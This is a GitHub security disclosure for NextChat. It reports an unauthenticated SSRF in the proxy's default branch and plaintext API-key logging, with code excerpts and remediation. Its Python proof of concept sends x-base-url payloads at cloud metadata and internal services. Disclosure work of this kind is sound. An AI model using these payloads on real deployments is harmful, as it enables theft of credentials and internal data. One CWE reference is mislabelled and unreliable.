ChatGPTNextWeb / ChatGPTNextWeb/NextChat

[Security] Unauthenticated SSRF via Proxy Default Branch (CVSS 8.6) + Server-Side API Key Logging (CVSS 6.4)

Open
#6,772 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
88.8k
Forks
59.1k
PR merge metrics
No merged PRs in 30d

Description

# ChatGPT-NextWeb: Unauthenticated SSRF via Proxy Default Branch and Server-Side API Key Logging

## Summary

ChatGPT-NextWeb has two confirmed security vulnerabilities in its core proxy and API key management:

1. **Unauthenticated SSRF via Proxy Default Branch (P0):** The `/api/{unknown-provider}/{path}` route's `default` branch calls `proxyHandler()` without any authentication check. Unlike all other provider handlers (OpenAI, Anthropic, Google, etc.) which require `auth()`, the proxy handler accepts requests from anyone. The attacker-controlled `x-base-url` header is directly used to construct the fetch URL, with no URL whitelist, protocol restrictions, or internal IP filtering. Response data is returned to the attacker.

2. **Server-Side API Key Logged in Plaintext (P1):** `server.ts:124-129` logs the complete API key string to stdout on every API key rotation via `console.log()`. No truncation, masking, or redaction is applied. In cloud deployments (Vercel, AWS, GCP), stdout logs are typically collected with long retention, making this a high-value information leak.

## Affected Versions
- ChatGPT-NextWeb (all versions with proxy functionality)
- `app/api/proxy.ts:21-37` (SSRF)
- `app/config/server.ts:124-129` (Key leak)

## CVSS v4.0

**#1 Unauthenticated SSRF: 8.6 (High)**
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N`

**#2 Server-Side API Key Logging: 6.4 (Medium)**
`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`

## Details

### Vulnerability 1: Unauthenticated SSRF

**File:** `app/api/proxy.ts:21-37`

```typescript
// default branch - NO auth() check
const handler = async (req: Request) => {
try {
return await proxyHandler(req, { params });
} catch (error) {
res.status = 502;
return;
}
};
```

**Contrast:** All known providers call `auth()` before processing:
```typescript
case "openai": return auth(req, ModelProvider.OpenAI);
case "anthropic": return auth(req, ModelProvider.Anthropic);
// ... every other provider has auth()
```

**Attack Chain:**
1. Attacker sends `GET /api/evil/anything HTTP/1.1` with header `x-base-url: http://169.254.169.254/latest/meta-data/`
2. Server hits default branch → `proxyHandler()` → fetches target URL
3. Response (cloud metadata, internal service data) is returned to attacker

### Vulnerability 2: Server-Side API Key Logging

**File:** `app/config/server.ts:124-129`

```typescript
console.log(
`[Server Config] using ${randomIndex + 1} of ${apiKeys.length} api key - ${apiKey}`,
);
```

The `apiKey` variable contains the full API key string with no masking.

## PoC

```python
import requests

TARGET = "https://nextchat.example.com"

# SSRF - access cloud metadata
headers = {"x-base-url": "http://169.254.169.254/latest/meta-data/"}
resp = requests.get(f"{TARGET}/api/evil/anything", headers=headers)
print(resp.text[:500])

# SSRF - internal service scan
headers = {"x-base-url": "http://127.0.0.1:6379/status"}
resp = requests.get(f"{TARGET}/api/internal-api/health", headers=headers)
print(resp.text[:500])

# SSRF - full request/response proxy
headers = {"x-base-url": "http://internal-app:8080/api/users", "Content-Type": "application/json"}
resp = requests.post(f"{TARGET}/api/proxy/users", headers=headers, json={"name": "admin"}, timeout=10)
print(resp.text[:500])
```

## Remediation

1. **SSRF:** Add `auth()` check to the default branch, or add a global middleware that validates authentication for unknown providers.
2. **API Key Logging:** Replace `console.log(apiKey)` with `console.log(apiKey.slice(0, 8) + "***")` to prevent full key exposure.

## References

- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-532: Exposure of System Information to Unauthorized Actors

## Discoverer

IcySun & Yashon
icysun@qq.com

## CVE Request

We request CVE assignment for both vulnerabilities.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.